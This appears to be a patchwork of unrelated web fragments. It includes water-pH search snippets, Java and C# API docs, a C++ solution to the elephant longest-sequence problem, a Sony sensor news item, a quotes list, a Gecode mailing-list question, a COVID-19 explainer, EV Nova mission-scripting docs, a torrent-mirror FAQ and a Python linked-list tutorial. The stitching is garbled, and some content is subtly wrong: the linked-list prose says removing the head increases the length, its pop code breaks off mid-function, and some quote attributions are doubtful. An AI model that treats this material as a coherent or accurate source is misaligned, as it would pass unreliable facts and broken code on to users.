Popular Areas in factors affect acidity of water
BASIN: General Information on pH
pH can also be measured with pH paper or by adding a reagent (indicator solution) to the water sample and recording the color change. Factors Affecting pH: .
http://bcn.boulder.co.us/basin/data/NEW/info/pH.html
Important Water Quality Factors
The table shows how chlorine affects fish and aquatic organisms. It is important to realize chlorine becomes more toxic as the pH level of the water drops.
http://www.h2ou.com/h2wtrqual.htm
Factors Affecting Waters with a High pH: Statewide Analysis
Author(s), Butkus, S. Description, An analysis was conducted to evaluate factors that may result in violations of the state's water quality standard for pH.
https://fortress.wa.gov/ecy/publications/summarypages/0203005.html
Water Quality, Drinking water, Corrosion and Water pH
The pH of a body of water is affected by several factors. One of the most important factors is the bedrock and soil composition through which the water moves, .
http://www.water-research.net/Watershed/pH.htm
pH - Water Quality - extension.usu.edu
A neutral pH is 7 (an example of this would be distilled water). . Natural factors that influence pH: Human factors that influence pH: . Point source pollution - dumping industrial pollutants directly into water can affect the pH of the water.
http://extension.usu.edu/waterquality/htm/whats-in-your-water/ph
Factors affecting pH change in alkaline waste water treatment - I ...
Share/Save/Bookmark · Lijklema, L. (1969) Factors affecting pH change in alkaline waste water treatment - I. Water Research, 3 (12). pp. 913-930. ISSN 0043- .
http://doc.utwente.nl/68102/


org.drip.template.statebump
Classes
DerivedForwardStateShifted
ForwardVolatilityStateShifted
FundingStateShifted
FXStateShifted
GovvieStateShifted
OvernightStateShifted
ReferenceForwardStateShifted
SurvivalRecoveryStateShifted


So the Ship of Theseus is different from the new ship.
Are you the same person as you were when you were born?
Yes, I am the same person as I was when I was born.
No, I am a different person.
Back


--- layout: default ---
Extreme Air System Pvt. Ltd is committed to manufacturing as well as design and development of Twin Lobe Blower, Air Compressor, Water Cooled Compressor, Water ring Vacuum Pump and Cement Feeding Systems. You can visit out Product Range for more insight into this.
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Welcome to Virtual Restaurant Station
arrow_back
Restaurants
Party halls
Look at restaurants around you
South Indian
South Indian
Search
North Indian
North Indian
Search
Pure veg
Pure Vegetarian
Search
Italian
Italian
Search
Mexican
Mexican
Search
Chinese
Chinese
Search
Look at what other diners say about restaurants
Look at party halls around you
The following choice is based on the approximate amount for reservation of party hall
This is the cost of party hall for a day.
Less than 50000
Less than 100000 and more than 50000
Less than 300000 and more than 100000
More than 300000
Select type of restaurant
Search


30DOGC
Last updated on 17 Oct, 2021 [5:00 p.m. IST]
Search
Card title
Progress Report
A second item
Got doubts?
For your eyes only


Interval measuring the relationship between pitches.
This enum is simply for making interval operations more explicit. When adding to or subtracting from the Pitch enum, one can either use ints...
Pitch p = Pitch.C4 + 5;
...or use the Interval enum, cast to int...
Pitch p = Pitch.C4 + (int)Interval.PerfectFourth;
These two examples are equivalent. The benefit of the latter is simply that it makes the intention more explicit.
This enum has extension methods, such as Name, defined in IntervalExtensionMethods.
| Member Name | Description |
|---|---|
| Unison | Unison interval, 0 semitones |
| Semitone | Semitone interval, 1 semitone |
| WholeTone | Whole Tone interval, 2 semitones |
| MinorThird | Minor Third interval, 3 semitones |
| MajorThird | Major Third interval, 4 semitones |
| PerfectFourth | Perfect Fourth interval, 5 semitones |
| Tritone | Tritone interval, 6 semitones |
| PerfectFifth | Perfect Fifth interval, 7 semitones |
| MinorSixth | Minor Sixth interval, 8 semitones |
| MajorSixth | Major Sixth interval, 9 semitones |
| MinorSeventh | Minor seventh interval, 10 semitones |
| MajorSeventh | Major Seventh interval, 11 semitones |
| Octave | Octave interval, 12 semitones |
Namespace: Midi
Assembly: Midi (in Midi.dll)


We're sorry but hashquark_labs doesn't work properly without JavaScript enabled. Please enable it to continue.


Copy and paste the below snippet into your HTML code.
{{ code }}
In the above code snippet,
replace win.iky_base_url
value with your iky installation in following format "ip:port/"
and win.chat_context
with any global context


Because usage agreements do not allow streaming videos directly to the participants, each participant must install a streaming server in their own facilities.
Setting up your own streaming server
Install NodeJS http-server by following these instructions.
Make sure videos from the three corpora (INA, DW and 3-24) are organized as follows in the same directory (hereafter denoted __ROOT__):
$ http-server -d false -i false --cors —c __ROOTDIR__
Starting up http-server, serving __ROOTDIR__ on: http://<IP_ADDRESS>:8080
Type in the URL of the streaming server (e.g. http//localhost:8080):
Testing the streaming server
Pressing the Test button below will try to seek a specific frame of three different videos of the test set (one for each corpus.)
If the actual frame correspond to the expected screenshot, then you are good to go!


记忆化搜索递归，保存路径，DP，（也可使用最长公共子序列做）。
Question 1: Is Bigger Smarter?
The Problem
Some people think that the bigger an elephant is, the smarter it
is. To disprove this, you want to take the data on a collection of
elephants and put as large a subset of this data as possible into a
sequence so that the weights are increasing, but the IQ’s are
decreasing.
The input will consist of data for a bunch of elephants, one
elephant per line, terminated by the end-of-file. The data for a
particular elephant will consist of a pair of integers: the first
representing its size in kilograms and the second representing its
IQ in hundredths of IQ points. Both integers are between 1 and
10000. The data will contain information for at most 1000
elephants. Two elephants may have the same weight, the same IQ, or
even the same weight and IQ.
Say that the numbers on the i-th data line are W[i] and
S[i]. Your program should output a sequence of lines of
data; the first line should contain a number n; the
remaining n lines should each contain a single positive
integer (each one representing an elephant). If these n
integers are a[1], a[2],…, a[n] then
it must be the case that
W[a[1]] < W[a[2]] < ... < W[a[n]]
and
S[a[1]] > S[a[2]] > ... > S[a[n]]
In order for the answer to be correct, n should be as
large as possible. All inequalities are strict: weights must be
strictly increasing, and IQs must be strictly decreasing. There may
be many correct outputs for a given input, your program only needs
to find one.
Sample Input
6008 1300
6000 2100
500 2000
1000 4000
1100 3000
6000 2000
8000 1400
6000 1200
2000 1900
Sample Output
4
4
5
9
7
代码：
#include<iostream>
#include<cstring>
#include<algorithm>
#include<fstream>
using namespace std;
typedef struct node{
int w,s;
}node;
node N[1005];
int tmpmark[1005];
int mark[1005];
int vis[1005];
int map[1005][1005];
int num;
int Judge(int i,int j){
if(N[i].w<N[j].w&&N[i].s>N[j].s)return 1;
else if(N[i].w>N[j].w&&N[i].s<N[j].s)return -1;
return 0;
}
int dp(int x){
if(vis[x])return vis[x];
vis[x]=1;
for(int i=0;i<num;i++){
if(map[x][i]){
int tmp=dp(i)+1;
if(tmp>vis[x]){
vis[x]=tmp;
tmpmark[x]=i;
}
}
}
return vis[x];
}
int main()
{
// freopen("test.txt","r",stdin);
num=0;
while(cin>>N[num].w>>N[num].s)num++;
memset(map,0,sizeof(map));
for(int i=0;i<num-1;i++){
for(int j=i+1;j<num;j++){
int tmp=Judge(i,j);
if(tmp==1)map[i][j]=1;
else if(tmp==-1)map[j][i]=1;
}
}
int maxn=0;
int head;
for(int i=0;i<num;i++){
memset(vis,0,sizeof(vis));
int tmp=dp(i);
if(tmp>maxn){
head=i;
maxn=tmp;
memcpy(mark,tmpmark,sizeof(mark));
}
}
cout<<maxn<<endl;
cout<<head+1<<endl;
int next=mark[head];
for(int i=0;i<maxn-1;i++){
cout<<next+1<<endl;
next=mark[next];
}
return 0;
}


Sony IMX686 looks to challenge Samsung's 108MP camera sensor in 2020
Source: Hayato Huseman / Android Central
What you need to know
- Sony's IMX686 is a 60MP sensor that's slated to replace the existing IMX586 48MP sensor.
- Expect this sensor to launch with the first flagship smartphones in 2020, including ones from VIVO and Huawei.
- This sensor is expected to deliver greater dynamic range and better low-light performance than the current generation 48MP camera sensor.
Not to be outdone by the recent launch of the Samsung ISOCELL Bright HMX camera sensor inside of the latest Xiaomi phones, Sony has taken to Chinese micro-blogging social network Weibo to tease its upcoming 60MP sensor. We're expecting this sensor to launch inside the rumored VIVO X30 Pro and Huawei Nova 6, but don't have a confirmed list just yet.
If you take a look at the video below, you'll find all sorts of video and imagery taken right from the Sony IMX686 sensor, which is housed inside of a prototype phone (oddly enough, not the phone you'll see in the hands of the person in the video). This video does not feature full resolution video or pictures, but it gives us a good idea of what to expect from the new sensor.
Both the videos and imagery represented here seem to exude phenomenal dynamic range, likely highlighting additional tricks and methods that Sony has developed in multi-frame exposure composition. Just as Samsung's latest 108MP sensor utilizes a Quad-Bayer array of pixels to create an actual 27MP picture, Sony's IMX686 is a 60MP sensor with a Quad-Bayer array and should produce actual 15MP images. Expect this sensor to help deliver some pretty epic zoom levels.
This type of pixel structure isn't just for producing crisper images or greater dynamic range, it's also masterful at producing excellent low-light imagery without the need for additional computational photography to take over. We saw this earlier in 2019 when the first phones launched with the IMX586, the first 48MP sensor of its kind in a smartphone. Near the end of the video, you'll see some seriously clean low light video that seems to confirm this.


Quotes
-
Start by doing what’s necessary; then do what’s possible; and suddenly you are doing the impossible - Francis of Assisi
-
The will to win, the desire to succeed, the urge to reach your full potential… these are the keys that will unlock the door to personal excellence - Confucius
-
It does not matter how slowly you go as long as you do not stop - Confucius
-
When you arise in the morning think of what a privilege it is to be alive, to think, to enjoy, to love… - Marcus Aurelius
-
Now is better than never; Although never is often better than right now - PEP 20 (The Zen of Python)
-
Waste no more time arguing about what a good man should be. Be one - Marcus Aurelius
-
Do not indulge in dreams of having what you have not, but reckon up the chief of the blessings you do possess, and then thankfully remember how you would crave for them if they were not yours - Marcus Aurelius
-
When anything tempts you to feel bitter, remember that ‘This is not misfortune,’ but ‘To bear this worthily is good fortune’ - Marcus Aurelius
-
The soul becomes dyed by the color of its thoughts - Marcus Aurelius
-
If it is not right do not do it; if it is not true do not say it - Marcus Aurelius
-
If one does not know to which port one is sailing, no wind is favorable - Seneca
-
One of the most beautiful qualities of true friendship is to understand and to be understood - Seneca
-
Wherever there is a human being, there is an opportunity for a kindness - Seneca
-
Religion is regarded by the common people as true, by the wise as false, and by the rulers as useful - Seneca
-
Have a vision. Think big. Ignore the naysayers.  Give back - Arnold Schwarzenegger
-
A man who has new ideas is a madman until his ideas succeed - Marcelo Bielsa
-
You do not have to justify or demonize, you have to be aware of implementing a change and have the self-criticism to improve - Marcelo Bielsa
-
I’m here just to learn, to improve, to help my team improve - Pep Guardiola
-
Johan Cruyff was demanding a lot, but when you got there, and you were in his team, he was an incredible protector. He would push and push you, and then he would protect you. He was a master at handling players. He knew when you needed to be pushed or protected - Pep Guardiola


[gecode-users] branching and copy in Gecode
Jun He
hejunnudt at gmail.com
Sat Oct 27 17:23:06 CEST 2012
Hi,
In Gecode, copy doesn't happen for every branching of the search tree,
and whenever a failure happens it just backtracks to a node between the
current failure node and the previous copied node. If a propagator
works dependent on some data structure, and the backtrack jumps to a
node that is not copied, then the data structure should be recomputed.
My question is how to maintain the data structure incrementally for the
propagator? Is there an easy setting to make Gecode copy at each
branching, so that a simple undo policy can be used to maintain the data
structure?
Best regards,
Jun
More information about the users
mailing list


Psalms 94:13
That thou mayest give him rest from the days of adversity, until the pit be digged for the wicked.


Barricade situation in Salt Lake ends with arrest
by HNN StaffHONOLULU, Hawaii (HawaiiNewsNow) - A suspect is in custody following an hours-long barricade situation in Salt Lake on Friday.
Police shut down the intersection of Wanaka and Likini streets around 7:10 a.m. as they responded to the incident. Lanes were reopened by about noon.
Details are still developing.
This story will be updated.
Copyright 2019 Hawaii News Now. All rights reserved.


Coronaviruses (CoV) are a large family of viruses that cause illness ranging from the common cold to more
severe diseases such as Middle East Respiratory Syndrome (MERS-CoV) and Severe Acute Respiratory Syndrome
(SARS-CoV).
Coronavirus disease (COVID-19) is a new strain that was discovered in 2019 and has not been previously
identified in humans.
Coronaviruses are zoonotic, meaning they are transmitted between animals and people. Detailed investigations
found that SARS-CoV was transmitted from civet cats to humans and MERS-CoV from dromedary camels to humans.
Several known coronaviruses are circulating in animals that have not yet infected humans.
Common signs of infection include respiratory symptoms, fever, cough, shortness of breath and breathing
difficulties. In more severe cases, infection can cause pneumonia, severe acute respiratory syndrome, kidney
failure and even death.
Standard recommendations to prevent infection spread include regular hand washing, covering mouth and nose when
coughing and sneezing, thoroughly cooking meat and eggs. Avoid close contact with anyone showing symptoms of
respiratory illness such as coughing and sneezing.
The virus is thought to spread mainly from person-to-person.
These droplets can land in the mouths or noses of people who are nearby or possibly be inhaled into the lungs.
It may be possible that a person can get COVID-19 by touching a surface or object that has the virus on it and then touching their own mouth, nose, or possibly their eyes, but this is not thought to be the main way the virus spreads.
How easily a virus spreads from person-to-person can vary. Some viruses are highly contagious (spread easily), like measles, while other viruses do not spread as easily. Another factor is whether the spread is sustained, spreading continually without stopping. The virus that causes COVID-19 seems to be spreading easily and sustainably in the community (“community spread”) in some affected geographic areas.
Reported illnesses have ranged from mild symptoms to severe illness and death for confirmed coronavirus disease
2019 (COVID-19) cases.
The following symptoms may appear 2-14 days after exposure.*
*This is based on what has been seen previously as the incubation period of MERS-CoV viruses.


Robinson Crusoe is a novel by Daniel Defoe, first published on 25 April 1719, which sees the main character who lived all alone for 28 years in an un-inhabited Island on the Coast of America.
A particular question from the book chapter
Eddie Hendrix
I last read this at about 10 years of age and I am now over 50. It cannot be that the story has improved over the intervening 40 years so it must just be that I didn't pay attention then but I have now.
Alessandra Lim
Absolutely gripping. A redemption story, like all the best ones. As an instinctive problem-solver I was fascinated by his resourcefulness in the face of necessity.
Group Discussions History:


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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object obvious.ivtk.data.IvtkObviousTree
public class IvtkObviousTree
This class is in an implementation of the
Tree
for the Obvious Ivtk binding based on
the Ivtk Tree class. Obvious and Ivtk do not share the same design
for Tree. In Obvious Tree extends Graph and are meant to be built
around two tables one for edges and one for nodes. However, in Ivtk,
trees do not extend graph and are built around only one table. Thus,
the current implementation is not a wrapper but has to reimplement
all method from the Obvious graph and tree interfaces using some
complementary Ivtk code.
Tree
| Nested Class Summary |
|---|
| Nested classes/interfaces inherited from interface obvious.data.Graph |
|---|
obvious.data.Graph.EdgeType |
| Constructor Summary | |
|---|---|
IvtkObviousTree(obvious.data.Schema inNodeSchema,
obvious.data.Schema inEdgeSchema)
Constructor. |
|
IvtkObviousTree(infovis.Tree inTree)
Constructor. |
| Method Summary | |
|---|---|
boolean |
addEdge(obvious.data.Edge edge,
java.util.Collection<? extends obvious.data.Node> nodes,
obvious.data.Graph.EdgeType edgeType)
Adds an edge between one or two nodes contained in a collection. |
boolean |
addEdge(obvious.data.Edge edge,
obvious.data.Node source,
obvious.data.Node target,
obvious.data.Graph.EdgeType edgeType)
Adds an edge to the graph. |
boolean |
addNode(obvious.data.Node node)
Adds a given node to the current tree. |
java.util.Collection<obvious.data.Edge> |
getChildEdges(obvious.data.Node node)
Gets a collection of child Edges of a node in the tree. |
java.util.Collection<obvious.data.Node> |
getChildNodes(obvious.data.Node node)
Gets a collection of children of a node in the tree. |
obvious.data.Edge |
getConnectingEdge(obvious.data.Node v1,
obvious.data.Node v2)
Gets for two nodes the connecting edge. |
java.util.Collection<obvious.data.Edge> |
getConnectingEdges(obvious.data.Node v1,
obvious.data.Node v2)
Gets connecting edges between two nodes. |
int |
getDepth(obvious.data.Node node)
Gets depth of a node. |
java.util.Collection<obvious.data.Edge> |
getEdges()
Returns a collection of all edges of the tree. |
obvious.data.Graph.EdgeType |
getEdgeType(obvious.data.Edge edge)
Indicates if an edge is directed or not. |
int |
getHeight()
Gets the height of the tree. |
java.util.Collection<obvious.data.Edge> |
getIncidentEdges(obvious.data.Node node)
Gets incident edges for a spotted node. |
java.util.Collection<obvious.data.Node> |
getIncidentNodes(obvious.data.Edge edge)
Gets incident edges for a spotted node. |
java.util.Collection<obvious.data.Edge> |
getInEdges(obvious.data.Node node)
Gets in-linking edges for a specific node. |
java.util.Collection<obvious.data.Node> |
getNeighbors(obvious.data.Node node)
Gets the neighbors node. |
java.util.Collection<obvious.data.Node> |
getNodes()
Returns a collection of all nodes of the tree. |
obvious.data.Node |
getOpposite(obvious.data.Node node,
obvious.data.Edge edge)
Get the opposite node for a couple (node,edge). |
java.util.Collection<obvious.data.Edge> |
getOutEdges(obvious.data.Node node)
Get out-linking edges for a specific node. |
obvious.data.Edge |
getParentEdge(obvious.data.Node node)
Gets the parent edge. |
obvious.data.Node |
getParentNode(obvious.data.Node node)
Gets the parent node. |
java.util.Collection<obvious.data.Node> |
getPredecessors(obvious.data.Node node)
Get predecessors nodes for a specific node. |
obvious.data.Node |
getRoot()
Gets the root node. |
obvious.data.Node |
getSource(obvious.data.Edge directedEdge)
Gets the source (parent) node of a directed edge. |
java.util.Collection<obvious.data.Node> |
getSuccessors(obvious.data.Node node)
Get predecessors nodes for a specific node. |
obvious.data.Node |
getTarget(obvious.data.Edge directedEdge)
Gets the target (child) node of a directed edge. |
java.util.Collection<obvious.data.Tree<obvious.data.Node,obvious.data.Edge>> |
getTrees()
Gets the forest associated to the tree. |
java.lang.Object |
getUnderlyingImpl(java.lang.Class<?> type)
Return the underlying implementation. |
boolean |
removeEdge(obvious.data.Edge edge)
Removes an edge. |
boolean |
removeNode(obvious.data.Node node)
Removes a node. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public IvtkObviousTree(obvious.data.Schema inNodeSchema, obvious.data.Schema inEdgeSchema)
inNodeSchema
- original schema for nodesinEdgeSchema
- original schema for edgespublic IvtkObviousTree(infovis.Tree inTree)
inTree
- Ivtk tree to wrap| Method Detail |
|---|
public java.util.Collection<obvious.data.Edge> getChildEdges(obvious.data.Node node)
getChildEdges
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public java.util.Collection<obvious.data.Node> getChildNodes(obvious.data.Node node)
getChildNodes
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public int getDepth(obvious.data.Node node)
getDepth
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public int getHeight()
getHeight
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
public obvious.data.Edge getParentEdge(obvious.data.Node node)
getParentEdge
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public obvious.data.Node getParentNode(obvious.data.Node node)
getParentNode
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public obvious.data.Node getRoot()
getRoot
in interface obvious.data.Tree<obvious.data.Node,obvious.data.Edge>
public java.util.Collection<obvious.data.Tree<obvious.data.Node,obvious.data.Edge>> getTrees()
getTrees
in interface obvious.data.Forest<obvious.data.Node,obvious.data.Edge>
public boolean addEdge(obvious.data.Edge edge, java.util.Collection<? extends obvious.data.Node> nodes, obvious.data.Graph.EdgeType edgeType)
addEdge
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
edge
- edge to addnodes
- one or two nodes to link (collection)edgeType
- unused parameter
public boolean addEdge(obvious.data.Edge edge, obvious.data.Node source, obvious.data.Node target, obvious.data.Graph.EdgeType edgeType)
addEdge
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
edge
- edge to addsource
- source nodetarget
- target nodeedgeType
- unused parameter
public boolean addNode(obvious.data.Node node)
addNode
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- node to add to the graph
public obvious.data.Edge getConnectingEdge(obvious.data.Node v1, obvious.data.Node v2)
getConnectingEdge
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
v1
- first nodev2
- second node
public java.util.Collection<obvious.data.Edge> getConnectingEdges(obvious.data.Node v1, obvious.data.Node v2)
getConnectingEdges
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
v1
- first nodev2
- second node
public obvious.data.Graph.EdgeType getEdgeType(obvious.data.Edge edge)
getEdgeType
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
edge
- an edge of the tree
public java.util.Collection<obvious.data.Edge> getEdges()
getEdges
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
public java.util.Collection<obvious.data.Edge> getInEdges(obvious.data.Node node)
getInEdges
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public java.util.Collection<obvious.data.Edge> getIncidentEdges(obvious.data.Node node)
getIncidentEdges
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public java.util.Collection<obvious.data.Node> getIncidentNodes(obvious.data.Edge edge)
getIncidentNodes
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
edge
- an edge of the graph
public java.util.Collection<obvious.data.Node> getNeighbors(obvious.data.Node node)
getNeighbors
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- central node to determine the neighborhood
public java.util.Collection<obvious.data.Node> getNodes()
getNodes
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
public obvious.data.Node getOpposite(obvious.data.Node node, obvious.data.Edge edge)
getOpposite
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the treeedge
- an edge of the tree
public java.util.Collection<obvious.data.Edge> getOutEdges(obvious.data.Node node)
getOutEdges
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public java.util.Collection<obvious.data.Node> getPredecessors(obvious.data.Node node)
getPredecessors
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public obvious.data.Node getSource(obvious.data.Edge directedEdge)
getSource
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
directedEdge
- an edge of the tree
public java.util.Collection<obvious.data.Node> getSuccessors(obvious.data.Node node)
getSuccessors
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- a node of the tree
public obvious.data.Node getTarget(obvious.data.Edge directedEdge)
getTarget
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
directedEdge
- an edge of the tree
public boolean removeEdge(obvious.data.Edge edge)
removeEdge
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
edge
- edge to remove
public boolean removeNode(obvious.data.Node node)
removeNode
in interface obvious.data.Graph<obvious.data.Node,obvious.data.Edge>
node
- node to remove
public java.lang.Object getUnderlyingImpl(java.lang.Class<?> type)
getUnderlyingImpl
in interface obvious.util.Adaptable
type
- targeted class
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Before Change
4,
description="Number of workers to use when DataLoader makes batches.")
// TODO support setting parameters of augmentors?
augmentors: List[str] = Field(
default_augmentors,
description=(
"Names of albumentations augmentors to use for training batches. "
After Change
"This transformation is in addition to the resizing due to img_sz. "
"This is useful for, for example, applying the same normalization to "
"all datasets.")
aug_transform: Optional[dict] = Field(
None,
description="An Albumentations transform serialized as a dict that "
"will be applied as data augmentation to the training dataset. This "
"transform is applied before base_transform. If provided, the "
"augmentors option is ignored.")
plot_options: Optional[PlotOptions] = Field(
PlotOptions(), description="Options to control plotting.")
// validators


| << Notes | Table of Contents | Spïn >> |
Bits and Expressions
Mission bits exist as they did in previous incarnations of EV. This time around, there are 10,000 bits available for your use, and they are accessed much differently from previous versions. For this reason, they are referred to as Nova control bits (ncb's). Control bits are accessed through logical expressions that allow much more powerful and logical mission scripting. These expressions are divided into two types - test and set:
Test expressions:
These are boolean expressions that are used to determine when something happens; for example, when a mission is to be offered, or when a particular shïp should be made available for purchase. In general, if the logical expression defined in a given test expression field evaluates to be true (nonzero), the associated property will be activated (mission becomes available, shïp appears, etc.).
The following terms and operators are supported: (capitalization doesn't matter)
Bxxx Lookup the value of control bit xxx. Bits are numbered from b0 to b9999. Pxxx Check if the game is registered ([P]aid for) ... evaluates to 1 if the game is registered or is unregistered but less than xxx days have elapsed. Evaluates to 0 only if unregistered for more than xxx days. G Lookup the player's gender - 1 if male, 0 if female Oxxx Returns 1 if the player has at least one of outfit item ID xxx, 0 if not Exxx Returns 1 if the player has explored system ID xxx, 0 if not | Logical or operator & Logical and operator ! Logical negation operator ( ) Parenthetical enclosure Some examples:
b13 & (b15 | !b72)
!(B42 | B53) & b103Note that since the Nova evaluator is fairly primitive, it may do unpredictable things if you give it an expression like b1 & b2 | b3 ... instead, use proper parentheses to make it b1 & (b2 | b3) or (b1 & b2) | b3, as appropriate.
Also note that if you leave the field for a test expression blank, it will evaluate to true as a default.
Also also note: The Oxxx operator also considers any carried fighters that are deployed when it examines the player's current list of outfits, although this feature may be confused if presented with a universe that includes multiple fighter bay weapons that launch the same shïp type, or different outfits that grant the same fighter bay ammo.
Set expressions:
These are simpler than the test expressions... basically all you are doing here is listing what bits you want to be modified when the expression in a given field is invoked. This will happen when the player does something (completes a mission, buys an item, etc.) as defined by the other resources. The syntax of set expressions is best illustrated by an example:
b1 b2 !b3 ^b4
In this set expression, bits 1 and 2 will be set, bit 3 will be cleared, and bit 4 will be toggled to the opposite of whatever it was previously. No parentheses are supported for set expressions. Note that if you leave a set expression blank, no control bits will be altered.
One other feature of the set expression is the ability to make random decisions. By specifying R(>op1< >op2<) you can make Nova randomly pick one of the two possible choices and execute it, skipping the other one. For example:
b1 R(b2 !b3)
...this expression will set bit 1, and then *either* set bit 2 *or* clear bit 3, but not both at once. Which operation will be picked is completely random, which allows for the design of interesting mission strings that branch unpredictably.
There are also a number of other operators that allow you to do many interesting things:
Axxx if mission ID xxx is currently active, abort it. Fxxx if mission ID xxx is currently active, cause it to fail. Sxxx start mission ID xxx automatically. Gxxx grant one of outfit item ID xxx to the player Dxxx remove (Delete) one of outfit item ID xxx from the player Mxxx move the player to system xxx. The player will be put on top of the first stellar in the system, or in the center of the system if no stellars exist there. Nxxx move the player to system xxx. The player will remain at the same x/y coordinates, relative to the center of the system. Cxxx change the player's shïp to shïp type (ID) xxx. The player will keep all of his previous outfit items and won't be given any of the default weapons or items that come with shïp type xxx. Exxx change the player's shïp to shïp type (ID) xxx. The player will keep all of his previous outfit items and will also be given all of the default weapons and items that come with shïp type xxx. Hxxx change the player's shïp to shïp type (ID) xxx. The player will lose any nonpersistent outfit items he previously had, but will be given all of the default weapons and items that come with shïp type xxx. Kxxx activate ränk ID xxx. Lxxx deactivate ränk ID xxx. Pxxx play sound with ID xxx. Yxxx destroy stellar ID xxx. Uxxx regenerate (Un-destroy) stellar ID xxx. Qxxx make the player immediately leave (absquatulate) whatever stellar he's landed on and return to space, and show a message at the bottom of the screen. The message is randomly selected from the STR# resource with ID xxx, and is parsed for mission text tags (e.g. >PSN< and >PRK< ) but not text-selection tags like those above (e.g. {G "he" "she"} ) (see deeuml;sc and mïsn resource descriptions for more examples) Txxx change the name (Title) of the player's shïp to a string randomly selected from STR# resource ID xxx. The previous shïp name will be substituted for any '*' characters which are encountered in the new string. Xxxx make system ID xxx be explored.
| << Notes | Table of Contents | Spïn >> |
(©) 2000-2002 by Matt Burch and Ambrosia Software, Inc.


{{define "title"}}FAQ{{end}} {{define "content"}}
In short, No.
We have a database of the torrents on nyaa up to April 5. That means that everything past April 5 is gone. Sukebei, however is in worse shape. We only have sukebei databases up to 2016.
The aforementioned databases are being hosted at nyaa.pantsu.cat and sukebei.pantsu.cat. There is a search function, and (almost) full nyaa functionality should be coming soon. Unfortunately, due to the lack of a tracker and no plans to make one, seeder/leecher statistics will not be restored.
Even if the trackers are down, seeders are still connected to the decentralized DHT network. As long as the file is listed on the DHT network, business should carry on as usual.
Just use the magnet link. The magnet link will used by your BitTorrent client to look up the file on the DHT network and it should download just fine.
If your magnet link starts with "magnet:magnet:", delete the first "magnet:". It should look like: magnet:?xt=urn:btih:[hash]&dn=[name]&tr=[tracker]
If you have website development expertise, you can join the #nyaapantsu IRC channel on irc.rizon.net. If you have any current databases, UPLOAD THEM.


Linked lists implementation in Python
A singly linked List can be thought of as a collection of elements(data points) where each element points to the next one, ending with the “tail” element which points to Nothing. In doubly linked lists, elements also reference their previous neighbour.
class SinglyElement:
def __init__(self, val):
self.val = val
self.next = None
Doubly linked lists can be thought of as a two - way street while singly linked lists are one way from head to tail.
class DoublyElement:
def __init__(self, val):
self.val = val
self.next = None
self.previous = None
Linked Lists Basic Operations in Python
This arrangmeent allows for fast insertion and deletion operations, because only a few pointers will need to be updated to keep the same order. Unlike arrays where all indices must be updated to account for the shift caused by an add or delete operations.
On the other hand, arrays handle accessing and searching much faster, because in a linked list one have to start searching from the head of the list no matter the location of the targeted element.
To define the list itself, 3 properties are needed: head, tail and length.
class LinkedList:
def __init__(self):
self.head = None
self.tail = None
self.length = 0
Next is to figure out how certain operations will work in the linked list. For example, to insert an element to the begining of the list, the following adjustments are needed:
The new element must be assigned as the new head of the list the next property of the new element must point to the old head In a doubly linked list, an extra operation is needed, which is to update the previous propertry to the old head to point to the new element.
Inserting Elements
**To add an element to the end of the list or “push”: **
- set the new element to be the new tail of the list
- set next proptery of the old tail to point to the new element
- and finally increase the length of the list by 1.
Note that there’s no need to update the next property of the new element to point to None, since it is None when it was instantiated. An edge case to look out for here is if the list is completely empty(there is no head), in this case we can simply set the new element to be the head and the tail.
def push(self, val):
new_element = SinglyElement(val)
if self.head == None:
self.head = new_element
self.tail = self.head
else:
self.tail.next = new_element
self.tail = new_element
self.length += 1
return self
In a doubly linked list, there’s an additional step of setting the previous property of the new element to point to the old tail, that is new_element.pervious = self.tail
To add an element to the beginning of the list, the process involves manipulating the head property and the pointers of the element(s). For example, in a doubly linked list:
- set the previous property of the old head to the new element
- set the head of the list to the new element
- set the next property of the new element to point to the old head
- set the previous property of the new head to None
Removing Elements
The logic behind removing an element from the beginning of the list is similar to the above. The head of the list must now point to the new element, the new element .next will point to the old head, and the length of the list will increase by 1. In case of Dounly linked lists, there is the addtional step of updating the .previous of the old head to point to the new element too.
A big difference between singly linked lists and doubly linked lists takes places when removing elements from the end of the list. In the case of singly lists, the code must start by traversing the whole list from the head, until it reaches the tail, then perform the pointers update. On the other hand, In doubly lists, one can simply utilize the previous property of the tail eliminating the need to traverse the whole list before being able to remove the last element.
# removing an element at the end of a singly lined list
def pop(self):
if (self.head == None):
return None
popped_element = self.head
